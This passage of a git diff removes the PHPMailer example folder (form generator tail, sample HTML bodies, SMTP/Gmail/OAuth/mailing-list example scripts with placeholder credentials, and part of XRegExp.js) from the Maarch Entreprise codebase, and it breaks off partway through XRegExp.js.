placeholder="Recipients.Email@example.com"> - </td> - </tr> - <tr> - <td class="colleft"> - <label for="cc_Email"><strong>CC Recipients</strong><br> - <small>(separate with commas)</small> - </label> - </td> - <td class="colrite"> - <input type="text" id="cc_Email" name="cc_Email" value="<?php echo $cc_email; ?>" - style="width:95%;" placeholder="cc1@example.com, cc2@example.com"> - </td> - </tr> - <tr> - <td class="colleft"> - <label for="bcc_Email"><strong>BCC Recipients</strong><br> - <small>(separate with commas)</small> - </label> - </td> - <td class="colrite"> - <input type="text" id="bcc_Email" name="bcc_Email" value="<?php echo $bcc_email; ?>" - style="width:95%;" placeholder="bcc1@example.com, bcc2@example.com"> - </td> - </tr> - <tr> - <td class="colleft"> - <label for="Subject"><strong>Subject</strong></label> - </td> - <td class="colrite"> - <input type="text" name="Subject" id="Subject" value="<?php echo $subject; ?>" - style="width:95%;" placeholder="Email Subject"> - </td> - </tr> - <tr> - <td class="colleft"> - <label for="Message"><strong>Message</strong><br> - <small>If blank, will use content.html</small> - </label> - </td> - <td class="colrite"> - <textarea name="Message" id="Message" style="width:95%;height:5em;" - placeholder="Body of your email"><?php echo $message; ?></textarea> - </td> - </tr> - </table> - <div style="margin:1em 0;">Test will include two attachments.</div> - </fieldset> - </div> - <div class="column-right"> - <fieldset class="inner"> <!-- SELECT TYPE OF MAIL --> - <legend>Mail Test Specs</legend> - <table border="1" class="column"> - <tr> - <td class="colleft">Test Type</td> - <td class="colrite"> - <div class="radio"> - <label for="radio-mail">Mail()</label> - <input class="radio" type="radio" name="test_type" value="mail" id="radio-mail" - onclick="showHideDiv(this.value, 'smtp-options-table');" - <?php echo ($test_type == 'mail') ? 'checked' : ''; ?> - required> - </div> - <div class="radio"> - <label for="radio-sendmail">Sendmail</label> - <input class="radio" type="radio" name="test_type" value="sendmail" id="radio-sendmail" - onclick="showHideDiv(this.value, 'smtp-options-table');" - <?php echo ($test_type == 'sendmail') ? 'checked' : ''; ?> - required> - </div> - <div class="radio"> - <label for="radio-qmail">Qmail</label> - <input class="radio" type="radio" name="test_type" value="qmail" id="radio-qmail" - onclick="showHideDiv(this.value, 'smtp-options-table');" - <?php echo ($test_type == 'qmail') ? 'checked' : ''; ?> - required> - </div> - <div class="radio"> - <label for="radio-smtp">SMTP</label> - <input class="radio" type="radio" name="test_type" value="smtp" id="radio-smtp" - onclick="showHideDiv(this.value, 'smtp-options-table');" - <?php echo ($test_type == 'smtp') ? 'checked' : ''; ?> - required> - </div> - </td> - </tr> - </table> - <div id="smtp-options-table" style="margin:1em 0 0 0; -<?php if ($test_type != 'smtp') { - echo "display: none;"; -} ?>"> - <span style="margin:1.25em 0; display:block;"><strong>SMTP Specific Options:</strong></span> - <table border="1" class="column"> - <tr> - <td class="colleft"><label for="smtp_debug">SMTP Debug ?</label></td> - <td class="colrite"> - <select size="1" id="smtp_debug" name="smtp_debug"> - <option <?php echo ($smtp_debug == '0') ? 'selected' : ''; ?> value="0"> - 0 - Disabled - </option> - <option <?php echo ($smtp_debug == '1') ? 'selected' : ''; ?> value="1"> - 1 - Client messages - </option> - <option <?php echo ($smtp_debug == '2') ? 'selected' : ''; ?> value="2"> - 2 - Client and server messages - </option> - </select> - </td> - </tr> - <tr> - <td class="colleft"><label for="smtp_server">SMTP Server</label></td> - <td class="colrite"> - <input type="text" id="smtp_server" name="smtp_server" - value="<?php echo $smtp_server; ?>" style="width:95%;" - placeholder="smtp.server.com"> - </td> - </tr> - <tr> - <td class="colleft" style="width: 5em;"><label for="smtp_port">SMTP Port</label></td> - <td class="colrite"> - <input type="text" name="smtp_port" id="smtp_port" size="3" - value="<?php echo $smtp_port; ?>" placeholder="Port"> - </td> - </tr> - <tr> - <td class="colleft"><label for="smtp_secure">SMTP Security</label></td> - <td> - <select size="1" name="smtp_secure" id="smtp_secure"> - <option <?php echo ($smtp_secure == 'none') ? 'selected' : '' ?>>None</option> - <option <?php echo ($smtp_secure == 'tls') ? 'selected' : '' ?>>TLS</option> - <option <?php echo ($smtp_secure == 'ssl') ? 'selected' : '' ?>>SSL</option> - </select> - </td> - </tr> - <tr> - <td class="colleft"><label for="smtp-authenticate">SMTP Authenticate?</label></td> - <td class="colrite"> - <input type="checkbox" id="smtp-authenticate" - name="smtp_authenticate" -<?php if ($smtp_authenticate != '') { - echo "checked"; -} ?> - value="<?php echo $smtp_authenticate; ?>"> - </td> - </tr> - <tr> - <td class="colleft"><label for="authenticate_username">Authenticate Username</label></td> - <td class="colrite"> - <input type="text" id="authenticate_username" name="authenticate_username" - value="<?php echo $authenticate_username; ?>" style="width:95%;" - placeholder="SMTP Server Username"> - </td> - </tr> - <tr> - <td class="colleft"><label for="authenticate_password">Authenticate Password</label></td> - <td class="colrite"> - <input type="password" name="authenticate_password" id="authenticate_password" - value="<?php echo $authenticate_password; ?>" style="width:95%;" - placeholder="SMTP Server Password"> - </td> - </tr> - </table> - </div> - </fieldset> - </div> - <br style="clear:both;"> - - <div style="margin-left:2em; margin-bottom:5em; float:left;"> - <div style="margin-bottom: 1em; "> - <input type="submit" value="Submit" name="submit"> - </div> - <?php echo 'Current PHP version: ' . phpversion(); ?> - </div> - </div> -</form> -</body> -</html> diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/contents.html b/apps/maarch_entreprise/tools/PHPMailer/examples/contents.html deleted file mode 100755 index dc3fc6676c5f84bbbce7d25110044ac9c47abc38..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/contents.html +++ /dev/null @@ -1,17 +0,0 @@ -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> -<html> -<head> - <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> - <title>PHPMailer Test</title> -</head> -<body> -<div style="width: 640px; font-family: Arial, Helvetica, sans-serif; font-size: 11px;"> - <h1>This is a test of PHPMailer.</h1> - <div align="center"> - <a href="https://github.com/PHPMailer/PHPMailer/"><img src="images/phpmailer.png" height="90" width="340" alt="PHPMailer rocks"></a> - </div> - <p>This example uses <strong>HTML</strong>.</p> - <p>ISO-8859-1 text: éèîüçÅñæß</p> -</div> -</body> -</html> diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/contentsutf8.html b/apps/maarch_entreprise/tools/PHPMailer/examples/contentsutf8.html deleted file mode 100755 index 81a202405b61ff0b9efd4029d763c345548e78ad..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/contentsutf8.html +++ /dev/null @@ -1,20 +0,0 @@ -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> -<html> -<head> - <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> - <title>PHPMailer Test</title> -</head> -<body> -<div style="width: 640px; font-family: Arial, Helvetica, sans-serif; font-size: 11px;"> - <h1>This is a test of PHPMailer.</h1> - <div align="center"> - <a href="https://github.com/PHPMailer/PHPMailer/"><img src="images/phpmailer.png" height="90" width="340" alt="PHPMailer rocks"></a> - </div> - <p>This example uses <strong>HTML</strong>.</p> - <p>Chinese text: 郵件內容為空</p> - <p>Russian text: ПуÑтое тело ÑообщениÑ</p> - <p>Armenian text: Õ€Õ¡Õ²Õ¸Ö€Õ¤Õ¡Õ£Ö€Õ¸Ö‚Õ©ÕµÕ¸Ö‚Õ¶Õ¨ Õ¤Õ¡Õ¿Õ¡Ö€Õ¯ Õ§</p> - <p>Czech text: Prázdné tÄ›lo zprávy</p> -</div> -</body> -</html> diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/exceptions.phps b/apps/maarch_entreprise/tools/PHPMailer/examples/exceptions.phps deleted file mode 100755 index 0e941e73364ccb114df92e056bf72bbd3ddf4b86..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/exceptions.phps +++ /dev/null @@ -1,35 +0,0 @@ -<?php -/** - * This example shows how to make use of PHPMailer's exceptions for error handling. - */ - -require '../PHPMailerAutoload.php'; - -//Create a new PHPMailer instance -//Passing true to the constructor enables the use of exceptions for error handling -$mail = new PHPMailer(true); -try { - //Set who the message is to be sent from - $mail->setFrom('from@example.com', 'First Last'); - //Set an alternative reply-to address - $mail->addReplyTo('replyto@example.com', 'First Last'); - //Set who the message is to be sent to - $mail->addAddress('whoto@example.com', 'John Doe'); - //Set the subject line - $mail->Subject = 'PHPMailer Exceptions test'; - //Read an HTML message body from an external file, convert referenced images to embedded, - //and convert the HTML into a basic plain-text alternative body - $mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__)); - //Replace the plain text body with one created manually - $mail->AltBody = 'This is a plain-text message body'; - //Attach an image file - $mail->addAttachment('images/phpmailer_mini.png'); - //send the message - //Note that we don't need check the response from this because it will throw an exception if it has trouble - $mail->send(); - echo "Message sent!"; -} catch (phpmailerException $e) { - echo $e->errorMessage(); //Pretty error messages from PHPMailer -} catch (Exception $e) { - echo $e->getMessage(); //Boring error messages from anything else! -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/gmail.phps b/apps/maarch_entreprise/tools/PHPMailer/examples/gmail.phps deleted file mode 100755 index b3cc02d53e8d6a46b4e7fdbb352575c6801729bb..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/gmail.phps +++ /dev/null @@ -1,75 +0,0 @@ -<?php -/** - * This example shows settings to use when sending via Google's Gmail servers. - */ - -//SMTP needs accurate times, and the PHP time zone MUST be set -//This should be done in your php.ini, but this is how to do it if you don't have access to that -date_default_timezone_set('Etc/UTC'); - -require '../PHPMailerAutoload.php'; - -//Create a new PHPMailer instance -$mail = new PHPMailer; - -//Tell PHPMailer to use SMTP -$mail->isSMTP(); - -//Enable SMTP debugging -// 0 = off (for production use) -// 1 = client messages -// 2 = client and server messages -$mail->SMTPDebug = 2; - -//Ask for HTML-friendly debug output -$mail->Debugoutput = 'html'; - -//Set the hostname of the mail server -$mail->Host = 'smtp.gmail.com'; -// use -// $mail->Host = gethostbyname('smtp.gmail.com'); -// if your network does not support SMTP over IPv6 - -//Set the SMTP port number - 587 for authenticated TLS, a.k.a. RFC4409 SMTP submission -$mail->Port = 587; - -//Set the encryption system to use - ssl (deprecated) or tls -$mail->SMTPSecure = 'tls'; - -//Whether to use SMTP authentication -$mail->SMTPAuth = true; - -//Username to use for SMTP authentication - use full email address for gmail -$mail->Username = "username@gmail.com"; - -//Password to use for SMTP authentication -$mail->Password = "yourpassword"; - -//Set who the message is to be sent from -$mail->setFrom('from@example.com', 'First Last'); - -//Set an alternative reply-to address -$mail->addReplyTo('replyto@example.com', 'First Last'); - -//Set who the message is to be sent to -$mail->addAddress('whoto@example.com', 'John Doe'); - -//Set the subject line -$mail->Subject = 'PHPMailer GMail SMTP test'; - -//Read an HTML message body from an external file, convert referenced images to embedded, -//convert HTML into a basic plain-text alternative body -$mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__)); - -//Replace the plain text body with one created manually -$mail->AltBody = 'This is a plain-text message body'; - -//Attach an image file -$mail->addAttachment('images/phpmailer_mini.png'); - -//send the message, check for errors -if (!$mail->send()) { - echo "Mailer Error: " . $mail->ErrorInfo; -} else { - echo "Message sent!"; -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/gmail_xoauth.phps b/apps/maarch_entreprise/tools/PHPMailer/examples/gmail_xoauth.phps deleted file mode 100755 index d64483a4d73e43826320e2064d233bf261522e42..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/gmail_xoauth.phps +++ /dev/null @@ -1,85 +0,0 @@ -<?php -/** - * This example shows settings to use when sending via Google's Gmail servers. - */ - -//SMTP needs accurate times, and the PHP time zone MUST be set -//This should be done in your php.ini, but this is how to do it if you don't have access to that -date_default_timezone_set('Etc/UTC'); - -require '../PHPMailerAutoload.php'; - -//Load dependencies from composer -//If this causes an error, run 'composer install' -require '../vendor/autoload.php'; - -//Create a new PHPMailer instance -$mail = new PHPMailerOAuth; - -//Tell PHPMailer to use SMTP -$mail->isSMTP(); - -//Enable SMTP debugging -// 0 = off (for production use) -// 1 = client messages -// 2 = client and server messages -$mail->SMTPDebug = 0; - -//Ask for HTML-friendly debug output -$mail->Debugoutput = 'html'; - -//Set the hostname of the mail server -$mail->Host = 'smtp.gmail.com'; - -//Set the SMTP port number - 587 for authenticated TLS, a.k.a. RFC4409 SMTP submission -$mail->Port = 587; - -//Set the encryption system to use - ssl (deprecated) or tls -$mail->SMTPSecure = 'tls'; - -//Whether to use SMTP authentication -$mail->SMTPAuth = true; - -//Set AuthType -$mail->AuthType = 'XOAUTH2'; - -//User Email to use for SMTP authentication - Use the same Email used in Google Developer Console -$mail->oauthUserEmail = "someone@gmail.com"; - -//Obtained From Google Developer Console -$mail->oauthClientId = "RANDOMCHARS-----duv1n2.apps.googleusercontent.com"; - -//Obtained From Google Developer Console -$mail->oauthClientSecret = "RANDOMCHARS-----lGyjPcRtvP"; - -//Obtained By running get_oauth_token.php after setting up APP in Google Developer Console. -//Set Redirect URI in Developer Console as [https/http]://<yourdomain>/<folder>/get_oauth_token.php -// eg: http://localhost/phpmail/get_oauth_token.php -$mail->oauthRefreshToken = "RANDOMCHARS-----DWxgOvPT003r-yFUV49TQYag7_Aod7y0"; - -//Set who the message is to be sent from -//For gmail, this generally needs to be the same as the user you logged in as -$mail->setFrom('from@example.com', 'First Last'); - -//Set who the message is to be sent to -$mail->addAddress('whoto@example.com', 'John Doe'); - -//Set the subject line -$mail->Subject = 'PHPMailer GMail SMTP test'; - -//Read an HTML message body from an external file, convert referenced images to embedded, -//convert HTML into a basic plain-text alternative body -$mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__)); - -//Replace the plain text body with one created manually -$mail->AltBody = 'This is a plain-text message body'; - -//Attach an image file -$mail->addAttachment('images/phpmailer_mini.png'); - -//send the message, check for errors -if (!$mail->send()) { - echo "Mailer Error: " . $mail->ErrorInfo; -} else { - echo "Message sent!"; -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/images/phpmailer.png b/apps/maarch_entreprise/tools/PHPMailer/examples/images/phpmailer.png deleted file mode 100755 index 9bdd83c8ded93d00b1e05abcfe1d6cb5b2ae96ef..0000000000000000000000000000000000000000 Binary files a/apps/maarch_entreprise/tools/PHPMailer/examples/images/phpmailer.png and /dev/null differ diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/images/phpmailer_mini.png b/apps/maarch_entreprise/tools/PHPMailer/examples/images/phpmailer_mini.png deleted file mode 100755 index e6915f4317692a2591ef8c96ef74c50ea42a6fba..0000000000000000000000000000000000000000 Binary files a/apps/maarch_entreprise/tools/PHPMailer/examples/images/phpmailer_mini.png and /dev/null differ diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/index.html b/apps/maarch_entreprise/tools/PHPMailer/examples/index.html deleted file mode 100755 index bbb830d19bbe66fa659230cafeb3a0475719b5cb..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/index.html +++ /dev/null @@ -1,48 +0,0 @@ -<!DOCTYPE html> -<html> -<head> - <meta charset="UTF-8"> - <title>PHPMailer Examples</title> -</head> -<body> -<h1>PHPMailer code examples<a href="https://github.com/PHPMailer/PHPMailer"><img src="images/phpmailer.png" style="float:right; border:0;" alt="PHPMailer logo"></a></h1> -<p>This folder contains a collection of examples of using <a href="https://github.com/PHPMailer/PHPMailer">PHPMailer</a>.</p> -<h2>About testing email sending</h2> -<p>When working on email sending code you'll find yourself worrying about what might happen if all these test emails got sent to your mailing list. The solution is to use a fake mail server, one that acts just like the real thing, but just doesn't actually send anything out. Some offer web interfaces, feedback, logging, the ability to return specific error codes, all things that are useful for testing error handling, authentication etc. Here's a selection of mail testing tools you might like to try:</p> -<ul> - <li><a href="https://github.com/Nilhcem/FakeSMTP">FakeSMTP</a>, a Java desktop app with the ability to show an SMTP log and save messages to a folder. </li> - <li><a href="https://github.com/isotoma/FakeEmail">FakeEmail</a>, a Python-based fake mail server with a web interface.</li> - <li><a href="http://www.postfix.org/smtp-sink.1.html">smtp-sink</a>, part of the Postfix mail server, so you probably already have this installed. This is used in the Travis-CI configuration to run PHPMailer's unit tests.</li> - <li><a href="http://smtp4dev.codeplex.com">smtp4dev</a>, a dummy SMTP server for Windows.</li> - <li><a href="https://github.com/PHPMailer/PHPMailer/blob/master/test/fakesendmail.sh">fakesendmail.sh</a>, part of PHPMailer's test setup, this is a shell script that emulates sendmail for testing 'mail' or 'sendmail' methods in PHPMailer.</li> - <li><a href="http://tools.ietf.org/tools/msglint/">msglint</a>, not a mail server, the IETF's MIME structure analyser checks the formatting of your messages.</li> -</ul> -<div style="padding: 8px; color: #333333; background-color: #dc8b92"> -<h2>Security note</h2> -<p>Before running these examples you'll need to rename them with '.php' extensions. They are supplied as '.phps' files which will usually be displayed with syntax highlighting by PHP instead of running them. This prevents potential security issues with running potential spam-gateway code if you happen to deploy these code examples on a live site - <em>please don't do that!</em> Similarly, don't leave your passwords in these files as they will be visible to the world!</p> -</div> -<h2><a href="code_generator.phps">code_generator.phps</a></h2> -<p>This script is a simple code generator - fill in the form and hit submit, and it will use when you entered to email you a message, and will also generate PHP code using your settings that you can copy and paste to use in your own apps. If you need to get going quickly, this is probably the best place to start.</p> -<h2><a href="mail.phps">mail.phps</a></h2> -<p>This script is a basic example which creates an email message from an external HTML file, creates a plain text body, sets various addresses, adds an attachment and sends the message. It uses PHP's built-in mail() function which is the simplest to use, but relies on the presence of a local mail server, something which is not usually available on Windows. If you find yourself in that situation, either install a local mail server, or use a remote one and send using SMTP instead.</p> -<h2><a href="exceptions.phps">exceptions.phps</a></h2> -<p>The same as the mail example, but shows how to use PHPMailer's optional exceptions for error handling.</p> -<h2><a href="smtp.phps">smtp.phps</a></h2> -<p>A simple example sending using SMTP with authentication.</p> -<h2><a href="smtp_no_auth.phps">smtp_no_auth.phps</a></h2> -<p>A simple example sending using SMTP without authentication.</p> -<h2><a href="sendmail.phps">sendmail.phps</a></h2> -<p>A simple example using sendmail. Sendmail is a program (usually found on Linux/BSD, OS X and other UNIX-alikes) that can be used to submit messages to a local mail server without a lengthy SMTP conversation. It's probably the fastest sending mechanism, but lacks some error reporting features. There are sendmail emulators for most popular mail servers including postfix, qmail, exim etc.</p> -<h2><a href="gmail.phps">gmail.phps</a></h2> -<p>Submitting email via Google's Gmail service is a popular use of PHPMailer. It's much the same as normal SMTP sending, just with some specific settings, namely using TLS encryption, authentication is enabled, and it connects to the SMTP submission port 587 on the smtp.gmail.com host. This example does all that.</p> -<h2><a href="pop_before_smtp.phps">pop_before_smtp.phps</a></h2> -<p>Before effective SMTP authentication mechanisms were available, it was common for ISPs to use POP-before-SMTP authentication. As it implies, you authenticate using the POP3 protocol (an older protocol now mostly replaced by the far superior IMAP), and then the SMTP server will allow send access from your IP address for a short while, usually 5-15 minutes. PHPMailer includes a POP3 protocol client, so it can carry out this sequence - it's just like a normal SMTP conversation (without authentication), but connects via POP first.</p> -<h2><a href="mailing_list.phps">mailing_list.phps</a></h2> -<p>This is a somewhat naïve example of sending similar emails to a list of different addresses. It sets up a PHPMailer instance using SMTP, then connects to a MySQL database to retrieve a list of recipients. The code loops over this list, sending email to each person using their info and marks them as sent in the database. It makes use of SMTP keepalive which saves reconnecting and re-authenticating between each message.</p> -<hr> -<h2><a href="smtp_check.phps">smtp_check.phps</a></h2> -<p>This is an example showing how to use the SMTP class by itself (without PHPMailer) to check an SMTP connection.</p> -<hr> -<p>Most of these examples use the 'example.com' domain. This domain is reserved by IANA for illustrative purposes, as documented in <a href="http://tools.ietf.org/html/rfc2606">RFC 2606</a>. Don't use made-up domains like 'mydomain.com' or 'somedomain.com' in examples as someone, somewhere, probably owns them!</p> -</body> -</html> diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/mail.phps b/apps/maarch_entreprise/tools/PHPMailer/examples/mail.phps deleted file mode 100755 index 8e129f47ddb3c0ac91115e21926c9df6a59fe322..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/mail.phps +++ /dev/null @@ -1,31 +0,0 @@ -<?php -/** - * This example shows sending a message using PHP's mail() function. - */ - -require '../PHPMailerAutoload.php'; - -//Create a new PHPMailer instance -$mail = new PHPMailer; -//Set who the message is to be sent from -$mail->setFrom('from@example.com', 'First Last'); -//Set an alternative reply-to address -$mail->addReplyTo('replyto@example.com', 'First Last'); -//Set who the message is to be sent to -$mail->addAddress('whoto@example.com', 'John Doe'); -//Set the subject line -$mail->Subject = 'PHPMailer mail() test'; -//Read an HTML message body from an external file, convert referenced images to embedded, -//convert HTML into a basic plain-text alternative body -$mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__)); -//Replace the plain text body with one created manually -$mail->AltBody = 'This is a plain-text message body'; -//Attach an image file -$mail->addAttachment('images/phpmailer_mini.png'); - -//send the message, check for errors -if (!$mail->send()) { - echo "Mailer Error: " . $mail->ErrorInfo; -} else { - echo "Message sent!"; -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/mailing_list.phps b/apps/maarch_entreprise/tools/PHPMailer/examples/mailing_list.phps deleted file mode 100755 index 8644bb5968531325a959cf15865fadcfcfceaed8..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/mailing_list.phps +++ /dev/null @@ -1,59 +0,0 @@ -<?php - -error_reporting(E_STRICT | E_ALL); - -date_default_timezone_set('Etc/UTC'); - -require '../PHPMailerAutoload.php'; - -$mail = new PHPMailer; - -$body = file_get_contents('contents.html'); - -$mail->isSMTP(); -$mail->Host = 'smtp.example.com'; -$mail->SMTPAuth = true; -$mail->SMTPKeepAlive = true; // SMTP connection will not close after each email sent, reduces SMTP overhead -$mail->Port = 25; -$mail->Username = 'yourname@example.com'; -$mail->Password = 'yourpassword'; -$mail->setFrom('list@example.com', 'List manager'); -$mail->addReplyTo('list@example.com', 'List manager'); - -$mail->Subject = "PHPMailer Simple database mailing list test"; - -//Same body for all messages, so set this before the sending loop -//If you generate a different body for each recipient (e.g. you're using a templating system), -//set it inside the loop -$mail->msgHTML($body); -//msgHTML also sets AltBody, but if you want a custom one, set it afterwards -$mail->AltBody = 'To view the message, please use an HTML compatible email viewer!'; - -//Connect to the database and select the recipients from your mailing list that have not yet been sent to -//You'll need to alter this to match your database -$mysql = mysqli_connect('localhost', 'username', 'password'); -mysqli_select_db($mysql, 'mydb'); -$result = mysqli_query($mysql, 'SELECT full_name, email, photo FROM mailinglist WHERE sent = false'); - -foreach ($result as $row) { //This iterator syntax only works in PHP 5.4+ - $mail->addAddress($row['email'], $row['full_name']); - if (!empty($row['photo'])) { - $mail->addStringAttachment($row['photo'], 'YourPhoto.jpg'); //Assumes the image data is stored in the DB - } - - if (!$mail->send()) { - echo "Mailer Error (" . str_replace("@", "@", $row["email"]) . ') ' . $mail->ErrorInfo . '<br />'; - break; //Abandon sending - } else { - echo "Message sent to :" . $row['full_name'] . ' (' . str_replace("@", "@", $row['email']) . ')<br />'; - //Mark it as sent in the DB - mysqli_query( - $mysql, - "UPDATE mailinglist SET sent = true WHERE email = '" . - mysqli_real_escape_string($mysql, $row['email']) . "'" - ); - } - // Clear all addresses and attachments for next loop - $mail->clearAddresses(); - $mail->clearAttachments(); -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/pop_before_smtp.phps b/apps/maarch_entreprise/tools/PHPMailer/examples/pop_before_smtp.phps deleted file mode 100755 index 164dfe8dd82c7200aa3c59b44aed90842ad618c7..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/pop_before_smtp.phps +++ /dev/null @@ -1,54 +0,0 @@ -<?php -/** - * This example shows how to use POP-before-SMTP for authentication. - */ - -require '../PHPMailerAutoload.php'; - -//Authenticate via POP3. -//After this you should be allowed to submit messages over SMTP for a while. -//Only applies if your host supports POP-before-SMTP. -$pop = POP3::popBeforeSmtp('pop3.example.com', 110, 30, 'username', 'password', 1); - -//Create a new PHPMailer instance -//Passing true to the constructor enables the use of exceptions for error handling -$mail = new PHPMailer(true); -try { - $mail->isSMTP(); - //Enable SMTP debugging - // 0 = off (for production use) - // 1 = client messages - // 2 = client and server messages - $mail->SMTPDebug = 2; - //Ask for HTML-friendly debug output - $mail->Debugoutput = 'html'; - //Set the hostname of the mail server - $mail->Host = "mail.example.com"; - //Set the SMTP port number - likely to be 25, 465 or 587 - $mail->Port = 25; - //Whether to use SMTP authentication - $mail->SMTPAuth = false; - //Set who the message is to be sent from - $mail->setFrom('from@example.com', 'First Last'); - //Set an alternative reply-to address - $mail->addReplyTo('replyto@example.com', 'First Last'); - //Set who the message is to be sent to - $mail->addAddress('whoto@example.com', 'John Doe'); - //Set the subject line - $mail->Subject = 'PHPMailer POP-before-SMTP test'; - //Read an HTML message body from an external file, convert referenced images to embedded, - //and convert the HTML into a basic plain-text alternative body - $mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__)); - //Replace the plain text body with one created manually - $mail->AltBody = 'This is a plain-text message body'; - //Attach an image file - $mail->addAttachment('images/phpmailer_mini.png'); - //send the message - //Note that we don't need check the response from this because it will throw an exception if it has trouble - $mail->send(); - echo "Message sent!"; -} catch (phpmailerException $e) { - echo $e->errorMessage(); //Pretty error messages from PHPMailer -} catch (Exception $e) { - echo $e->getMessage(); //Boring error messages from anything else! -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/scripts/XRegExp.js b/apps/maarch_entreprise/tools/PHPMailer/examples/scripts/XRegExp.js deleted file mode 100755 index ebdb9c94859de7738cc5f43affb5c5175f93a8d5..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/scripts/XRegExp.js +++ /dev/null @@ -1,664 +0,0 @@ -// XRegExp 1.5.1 -// (c) 2007-2012 Steven Levithan -// MIT License -// <http://xregexp.com> -// Provides an augmented, extensible, cross-browser implementation of regular expressions, -// including support for additional syntax, flags, and methods - -var XRegExp; - -if (XRegExp) { - // Avoid running twice, since that would break references to native globals - throw Error("can't load XRegExp twice in the same frame"); -} - -// Run within an anonymous function to protect variables and avoid new globals -(function (undefined) { - - //--------------------------------- - // Constructor - //--------------------------------- - - // Accepts a pattern and flags; returns a new, extended `RegExp` object. Differs from a native - // regular expression in that additional syntax and flags are supported and cross-browser - // syntax inconsistencies are ameliorated. `XRegExp(/regex/)` clones an existing regex and - // converts to type XRegExp - XRegExp = function (pattern, flags) { - var output = [], - currScope = XRegExp.OUTSIDE_CLASS, - pos = 0, - context, tokenResult, match, chr, regex; - - if (XRegExp.isRegExp(pattern)) { - if (flags !== undefined) - throw TypeError("can't supply flags when constructing one RegExp from another"); - return clone(pattern); - } - // Tokens become part of the regex construction process, so protect against infinite - // recursion when an XRegExp is constructed within a token handler or trigger - if (isInsideConstructor) - throw Error("can't call the XRegExp constructor within token definition functions"); - - flags = flags || ""; - context = { // `this` object for custom tokens - hasNamedCapture: false, - captureNames: [], - hasFlag: function (flag) {return flags.indexOf(flag) > -1;}, - setFlag: function (flag) {flags += flag;} - }; - - while (pos < pattern.length) { - // Check for custom tokens at the current position - tokenResult = runTokens(pattern, pos, currScope, context); - - if (tokenResult) { - output.push(tokenResult.output); - pos += (tokenResult.match[0].length || 1); - } else { - // Check for native multicharacter metasequences (excluding character classes) at - // the current position - if (match = nativ.exec.call(nativeTokens[currScope], pattern.slice(pos))) { - output.push(match[0]); - pos += match[0].length; - } else { - chr = pattern.charAt(pos); - if (chr === "[") - currScope = XRegExp.INSIDE_CLASS; - else if (chr === "]") - currScope = XRegExp.OUTSIDE_CLASS; - // Advance position one character - output.push(chr); - pos++; - } - } - } - - regex = RegExp(output.join(""), nativ.replace.call(flags, flagClip, "")); - regex._xregexp = { - source: pattern, - captureNames: context.hasNamedCapture ? context.captureNames : null - }; - return regex; - }; - - - //--------------------------------- - // Public properties - //--------------------------------- - - XRegExp.version = "1.5.1"; - - // Token scope bitflags - XRegExp.INSIDE_CLASS = 1; - XRegExp.OUTSIDE_CLASS = 2; - - - //--------------------------------- - // Private variables - //--------------------------------- - - var replacementToken = /\$(?:(\d\d?|[$&`'])|{([$\w]+)})/g, - flagClip = /[^gimy]+|([\s\S])(?=[\s\S]*\1)/g, // Nonnative and duplicate flags - quantifier = /^(?:[?*+]|{\d+(?:,\d*)?})\??/, - isInsideConstructor = false, - tokens = [], - // Copy native globals for reference ("native" is an ES3 reserved keyword) - nativ = { - exec: RegExp.prototype.exec, - test: RegExp.prototype.test, - match: String.prototype.match, - replace: String.prototype.replace, - split: String.prototype.split - }, - compliantExecNpcg = nativ.exec.call(/()??/, "")[1] === undefined, // check `exec` handling of nonparticipating capturing groups - compliantLastIndexIncrement = function () { - var x = /^/g; - nativ.test.call(x, ""); - return !x.lastIndex; - }(), - hasNativeY = RegExp.prototype.sticky !== undefined, - nativeTokens = {}; - - // `nativeTokens` match native multicharacter metasequences only (including deprecated octals, - // excluding character classes) - nativeTokens[XRegExp.INSIDE_CLASS] = /^(?:\\(?:[0-3][0-7]{0,2}|[4-7][0-7]?|x[\dA-Fa-f]{2}|u[\dA-Fa-f]{4}|c[A-Za-z]|[\s\S]))/; - nativeTokens[XRegExp.OUTSIDE_CLASS] = /^(?:\\(?:0(?:[0-3][0-7]{0,2}|[4-7][0-7]?)?|[1-9]\d*|x[\dA-Fa-f]{2}|u[\dA-Fa-f]{4}|c[A-Za-z]|[\s\S])|\(\?[:=!]|[?*+]\?|{\d+(?:,\d*)?}\??)/; - - - //--------------------------------- - // Public methods - //--------------------------------- - - // Lets you extend or change XRegExp syntax and create custom flags. This is used internally by - // the XRegExp library and can be used to create XRegExp plugins. This function is intended for - // users with advanced knowledge of JavaScript's regular 